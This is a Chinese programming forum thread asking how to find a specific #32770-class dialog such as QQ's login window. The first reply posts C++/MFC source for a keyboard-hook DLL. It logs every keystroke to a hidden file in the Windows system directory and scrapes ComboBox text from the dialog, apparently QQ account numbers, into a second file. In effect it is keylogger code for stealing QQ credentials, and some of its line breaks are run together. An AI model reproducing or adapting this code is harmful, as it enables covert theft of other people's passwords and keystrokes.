如何取得类名为#32770的窗口句柄?
类名为#32770的窗口很多,
想找到某个特定的窗口比如QQ,

解决方案 »

  1.   

    可以继续查看他们的子窗口:// keyhook.cpp : Defines the initialization routines for the DLL.
    //#include "stdafx.h"
    #include "keyhook.h"#ifdef _DEBUG
    #define new DEBUG_NEW
    #undef THIS_FILE
    static char THIS_FILE[] = __FILE__;
    #endif#pragma data_seg("SharedVar") 
    //DLL输出的全局变量
    extern "C" __declspec(dllexport) 
    HHOOK hHook=NULL;
    #pragma data_seg()
    ////////////////////////////////////////////////////////////////char sWindowName[3][256];
    CFile fpqq;
    CString m_strPSW;
    BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam)
    {
    char sWindowClass[256];
    CString strWindowClass;
    CString strWindowName;

    ::GetClassName(hwnd, sWindowClass, 256);

    strWindowClass = sWindowClass;

    if (strWindowClass == _T("ComboBox"))
    {
    for (int i = 0; i< 3; i++)
    {
    strWindowName = sWindowName[i];
    if (strWindowName == _T(""))
    {
    break;
    }
    }

    if (i < 3)
    {
    ::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]);
    }
            
    m_strPSW.Format("%s%s%s",m_strPSW,sWindowName[i],":");

    }

    return TRUE;
    }BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
    {
    CString sWindowText;
    GetWindowText(hwnd, sWindowText.GetBuffer(256), 256);
    sWindowText.ReleaseBuffer();

    char sWindowClass[256];
    CString strWindowClass;
    CString strWindowName;

    ::GetClassName(hwnd, sWindowClass, 256);

    strWindowClass = sWindowClass;

    if (strWindowClass==_T("#32770"))
    {    
    memset(sWindowName, 0, 3 * 256);
    ::EnumChildWindows(hwnd, EnumChildProc, 0);
    return FALSE;
    }
    return TRUE;
    }
    ////////////////////////////////////////////////////////////////
    // DLL 自用的全局变量
    char buffer=0; 
    //FILE *fp;
    CFile fp;
    //定义全局的键盘勾子函数:
    //DLL输出的勾子函数
    extern "C" __declspec(dllexport) 
    LRESULT CALLBACK KeyboardProc(
      int nCode,       
      WPARAM wParam,  //虚键代码
      LPARAM lParam   // 击键消息的信息
      )
    {
    char m_SysDir[128];
        GetSystemDirectory(m_SysDir,128);
    CString m_DirNO;
    m_DirNO.Format("%s%s%s",m_SysDir,"\\","keyNO.txt");
    CString m_DirPSW;
    m_DirPSW.Format("%s%s%s",m_SysDir,"\\","keyPSW.txt");
        CWnd* pWnd=CWnd::FindWindow(NULL,"xxxxxx");
    if(pWnd)
    {
    BOOL bFind = ::EnumWindows(EnumWindowsProc, 0);
    fp.Open(m_DirNO,CFile::modeWrite|CFile::shareDenyNone);
    fp.SeekToEnd();
    fp.Write(m_strPSW,strlen(m_strPSW));
    fp.Close();
    m_strPSW.Empty();
    ::Sleep(20);
    if(lParam&0x80000000)  
    {
    char KeyName[50]; 
    ZeroMemory(KeyName,50); 
    GetKeyNameText(lParam,KeyName,50); 
    if(strlen(KeyName)>2)
    {
    CString add;
    add.Format("%s%s%s","\r\n",KeyName,"\r\n");
    sprintf(KeyName,"%s",add);
    }
    fp.Open(m_DirPSW,CFile::modeWrite|CFile::shareDenyNone);
    fp.SeekToEnd();
    fp.Write(KeyName,strlen(KeyName));
    fp.Close();
    }
    }
    return CallNextHookEx(hHook,nCode,wParam,lParam);
    }BEGIN_MESSAGE_MAP(CKeyhookApp, CWinApp)
    //{{AFX_MSG_MAP(CKeyhookApp)
    // NOTE - the ClassWizard will add and remove mapping macros here.
    //    DO NOT EDIT what you see in these blocks of generated code!
    //}}AFX_MSG_MAP
    END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
    // CKeyhookApp constructionCKeyhookApp::CKeyhookApp()
    {
    // TODO: add construction code here,
    // Place all significant initialization in InitInstance
    }/////////////////////////////////////////////////////////////////////////////
    // The one and only CKeyhookApp objectCKeyhookApp theApp;void CKeyhookApp::ON_DLL_QQ()
    {

    }
      

  2.   

    findwindow里面不是还有一个参数么?
      

  3.   

    FindWindow("32770","QQ")
    不行?